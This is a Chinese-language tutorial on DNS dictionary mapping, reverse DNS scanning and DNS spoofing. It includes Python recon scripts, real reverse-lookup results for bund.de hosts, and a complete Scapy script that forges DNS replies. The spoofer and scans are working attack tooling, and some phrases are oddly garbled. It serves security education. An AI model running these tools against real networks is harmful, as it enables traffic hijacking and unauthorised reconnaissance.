DNS 字典對映器是一種藉由嘗試大量子網域名稱組合來找出目標網域中可能存在的伺服器的技術。它利用 DNS 查詢的特性,避免觸發常見的入侵偵測系統。反向 DNS 掃描則透過 PTR 記錄,將 IP 位址反向解析為網域名稱,在 SMTP 垃圾郵件過濾等場景中應用廣泛。這兩種技術在滲透測試和資訊收集階段都扮演著重要角色,能幫助安全人員快速瞭解目標網路的結構和潛在風險。然而,這些技術也可能被惡意攻擊者濫用,因此瞭解其運作機制對於防禦至關重要。本文除了介紹這兩種技術的原理和應用案例外,也提供了 Python 程式碼範例,讓讀者能更深入地理解其運作方式。此外,文章也探討了 DNS 欺騙攻擊的原理和防禦措施,以及相關工具如 Chaosmap 的使用,以提供更全面的資安觀點。
DNS 字典對映器與反向 DNS 掃描
DNS(網域名稱系統)是網際網路的關鍵組成部分,它將人類可讀的網域名稱轉換為機器可讀的 IP 位址。然而,這一機制也可能被潛在的攻擊者利用來取得目標網路中的重要伺服器清單。這裡,玄貓將探討兩種常見的 DNS 相關技術:DNS 字典對映器和反向 DNS 掃描。
DNS 字典對映器
DNS 字典對映器是一種工具,它透過將常見的伺服器名稱附加到目標網域名稱後,尋找可能存在的主機。這種方法比傳統的埠掃描更加隱蔽,因為它不會觸發大多數網路入侵檢測系統(IDS)的警示。
概念解析
DNS 字典對映器的工作原理如下:
- 準備字典:建立一個包含可能主機名稱的文字檔案,每行一個主機名稱。
- 附加網域名稱:將目標網域名稱附加到每個主機名稱後。
- DNS 查詢:對每個組合進行 DNS 查詢,檢查是否能解析出 IP 位址。
如果查詢成功,那麼該主機很可能存在;如果查詢失敗,則該主機可能不存在或網域名稱組態混亂。
應用案例
假設我們想要掃描 example.com 域下的所有可能伺服器。我們可以建立一個字典檔案 hosts.txt,內容如下:
mail
www
ftp
admin
然後使用以下 Python 指令碼來進行掃描:
#!/usr/bin/python3
import sys
import socket
if len(sys.argv) < 3:
print(sys.argv[0] + ": <dict_file> <domain>")
sys.exit(1)
def do_dns_lookup(name):
try:
print(name + ": " + socket.gethostbyname(name))
except socket.gaierror as e:
print(name + ": " + str(e))
try:
fh = open(sys.argv[1], "r")
for word in fh.readlines():
subdomain = word.strip()
if subdomain:
do_dns_lookup(word.strip() + "." + sys.argv[2])
fh.close()
except IOError:
print("Cannot read dictionary " + sys.argv[1])
內容解密:
這段程式碼展示了一個簡單的 DNS 字典對映器。以下是詳細解說:
- 命令列引數檢查:程式首先檢查是否提供了足夠的命令列引數(字典檔案和目標網域名稱)。
- 定義 DNS 查詢函式:
do_dns_lookup函式接受一個完全合格的網域名稱(FQDN),並嘗試解析其 IP 位址。 - 讀取字典檔案:程式開啟並讀取字典檔案中的每一行。
- 構建子網域名稱並查詢:對於每一行(子網域名稱),程式將其附加到目標網域名稱後,並使用
do_dns_lookup函式進行查詢。
反向 DNS 掃描
反向 DNS 掃描是透過 PTR 記錄來查詢 IP 位址對應的網域名稱。這種方法在許多服務中非常有用,例如 SMTP 的垃圾郵件過濾。
概念解析
反向 DNS 掃描的工作原理如下:
- 取得 IP 均嶄範圍:透過 WHOIS 查詢取得目標 IP 的網路範圍。
- 生成 IP 清單:從起始 IP 到結束 IP 生成所有可能的 IP 地址。
- 反向 DNS 查詢:對每個 IP 地址進行反向查詢,檢查是否能解析出網域名稱。
這種方法在具有 PTR 記錄的網路中效果顯著,因為大多數現代服務都依賴於 PTR 記錄來進行安全性檢查。
應用案例
假設我們已經知道目標網路範圍為 192.168.1.1 到 192.168.1.254。我們可以使用以下 Python 指令碼來進行反向 DNS 掃描:
#!/usr/bin/python3
import sys
import socket
from random import randint
if len(sys.argv) < 2:
print(sys.argv[0] + ": <start_ip> - <stop_ip>")
sys.exit(1)
def get_ips(start_ip, stop_ip):
ips = []
tmp = []
for i in start_ip.split('.'):
tmp.append("%02X" % int(i))
start_dec = int(''.join(tmp), 16)
tmp = []
for i in stop_ip.split('.'):
tmp.append("%02X" % int(i))
stop_dec = int(''.join(tmp), 16)
while start_dec <= stop_dec:
bytes = []
bytes.append(str(int(start_dec / 16777216)))
rem = start_dec % 16777216
bytes.append(str(int(rem / 65536)))
rem = rem % 65536
bytes.append(str(int(rem / 256)))
rem = rem % 256
bytes.append(str(rem))
ips.append(".".join(bytes))
start_dec += 1
return ips
def dns_reverse_lookup(start_ip, stop_ip):
ips = get_ips(start_ip, stop_ip)
while len(ips) > 0:
i = randint(0, len(ips) - 1)
lookup_ip = str(ips[i])
resolved_name = None
try:
resolved_name = socket.gethostbyaddr(lookup_ip)[0]
except socket.herror:
# Ignore unknown hosts
pass
except socket.error as e:
print(str(e))
if resolved_name:
print(lookup_ip + "\t" + resolved_name)
del ips[i]
start_ip, stop_ip = sys.argv[1].split('-')
dns_reverse_lookup(start_ip, stop_ip)
內容解密:
這段程式碼展示了一個反向 DNS 掃描工具。以下是詳細解說:
- 命令列引數檢查:程式首先檢查是否提供了足夠的命令列引數(起始和結束 IP)。
- 生成 IP 清單:
get_ips函式將起始和結束 IP 轉換為十進位制形式,並生成整個網路範圍內的所有 IP 地址。 - 反向 DNS 查詢:
dns_reverse_lookup函式對每個 IP 地址進行反向查詢,使用socket.gethostbyaddr函式來解析對應的網域名稱。 - 錯誤處理:如果發生未知主機錯誤或其他網路錯誤,程式會忽略這些錯誤並繼續執行。
DNS 惡意攻擊與工具
DNS 反向查詢掃描
DNS 反向查詢掃描是一種有效的資訊收集技術,透過查詢 IP 地址對應的網域名稱,可以快速取得網路的相關資訊。例如,以下是針對 IP 地址範圍 77.87.224.1-77.87.224.254 進行反向 DNS 搜尋後,獲得的部分結果:
77.87.224.71: xenon.bund.de
77.87.224.66: mangan.bund.de
77.87.224.6: exttestop3.bund.de
...
這些結果顯示了每個 IP 地址對應的主機名稱。透過這種方式,可以迅速取得網路中的裝置和服務資訊。
DNS 欺騙攻擊
DNS 欺騙攻擊是中間人攻擊的常見形式之一,類別似於 ARP 欺騙攻擊。攻擊者透過偽造 DNS 查詢回應,使受害者將合法的 IP 地址解析為攻擊者控制的 IP 地址。這種攻擊通常利用 Scapy 這類別工具來實作。
以下是利用 Scapy 做 DNS 欺騙的一個簡單示例程式碼:
#!/usr/bin/env python3
import sys
import getopt
import scapy.all as scapy
dev = "enp3s0f1"
filter = "udp port 53"
file = None
dns_map = {}
def handle_packet(packet):
ip = packet.getlayer(scapy.IP)
udp = packet.getlayer(scapy.UDP)
dns = packet.getlayer(scapy.DNS)
if dns.qr == 0 and dns.opcode == 0:
queried_host = dns.qd.qname[:-1].decode()
resolved_ip = None
if dns_map.get(queried_host):
resolved_ip = dns_map.get(queried_host)
elif dns_map.get('*'):
resolved_ip = dns_map.get('*')
if resolved_ip:
dns_answer = scapy.DNSRR(rrname=queried_host + ".", ttl=330, type="A", rclass="IN", rdata=resolved_ip)
dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \
scapy.UDP(sport=udp.dport, dport=udp.sport) / \
scapy.DNS(id=dns.id, qr=1, aa=0, rcode=0, qd=dns.qd, an=dns_answer)
print(f"Send {queried_host} has {resolved_ip} to {ip.src}")
scapy.send(dns_reply, iface=dev)
def usage():
print(sys.argv[0] + " -f <hosts-file> -i <dev>")
sys.exit(1)
def parse_host_file(file):
for line in open(file):
line = line.rstrip('\n')
if line:
ip, host = line.split()
dns_map[host] = ip
try:
cmd_opts = "f:i:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-i":
dev = opt[1]
elif opt[0] == "-f":
file = opt[1]
else:
usage()
if file:
parse_host_file(file)
else:
usage()
print(f"Spoofing DNS requests on {dev}")
scapy.sniff(iface=dev, filter=filter, prn=handle_packet)
內容解密:
上述程式碼主要用於實作 DNS 欺騙攻擊。它透過捕捉並篩選網路流量中的 UDP 包,然後檢查這些包是否為 DNS 查詢請求。如果是,則根據預先設定的主機名稱和 IP 地址對映表來建構欺騙的 DNS 回應包,並將其發送回查詢方。
- handle_packet 函式:處理每個捕捉到的封包,檢查其是否為 DNS 查詢請求。如果是,則根據主機名稱和 IP 地址對映表建構欺騙的 DNS 回應。
- usage 函式:顯示程式碼使用方法。
- parse_host_file 函式:解析主機名稱和 IP 地址對映檔案,構建內部對映表。
- 主程式:處理命令列引數,並開始捕捉網路流量。
這種攻擊手法雖然簡單,但可以有效地導致受害者將合法請求解析為錯誤的目標。然而,現代的防護措施如 DNSSEC 已經能夠有效抵禦這類別攻擊。
相關工具
Chaosmap
Chaosmap 是一款功能強大的網路掃描工具,專門用於DNS、Whois 和網頁伺服器資訊收集。它不僅能夠進行DNS反向查詢和Whois查詢,還能透過字典攻擊找到隱藏的裝置和檔案。此外,Chaosmap 還可以用來蒐集電子郵件地址或進行Google駭客技術檢測。
Chaosmap 的原始碼可以在 Packetstorm Security 網站上找到(https://packetstormsecurity.com/files/99314/Chaosmap-1.3.html)。
Chaosmap 基本使用方法
- DNS對映:Chaosmap 能夠進行DNS對映,並選擇性地傳送 WHOIS 請求以查詢網域名稱或 IP 的擁有者。
- 反向查詢:Chaosmap 支援反向 DNS 查詢,能夠快速取得 IP 地址對應的網域名稱。
- 網頁伺服器掃描:利用字典攻擊找到隱藏的裝置和檔案。
- 電子郵件蒐集:蒐集給定網域名稱下的電子郵件地址。
- Google駭客技術:對網域名稱進行 Google 駭客技術檢測。
總結來說,DNS 欺騙攻擊和相關工具展示瞭如何透過欺騙技術取得網路資訊或進行破壞性行為。然而,隨著防護技術的進步,這些攻擊手法也逐漸失去其有效性。因此,瞭解並防範這些攻擊對於維護網路安全至關重要。
此圖示展示了簡單DNS欺騙流程:
graph TD;
A[客戶端] --> B{DNS 查詢};
B -->|A記錄| C{合法DNS伺服器};
B -->|A記錄| D{欺騙伺服器};
C --> A;
D --> A;
在此圖示中:
- 客戶端發出 DNS 查詢請求。
- 合法DNS伺服器或欺騙伺服器都可能回應該請求。
- 如果欺騙伺服器首先回應並且其回應被接受,則欺騙成功。
這種圖示展示了欺騙者如何在合法DNS回應之前傳送假回應來達成欺騙目標。
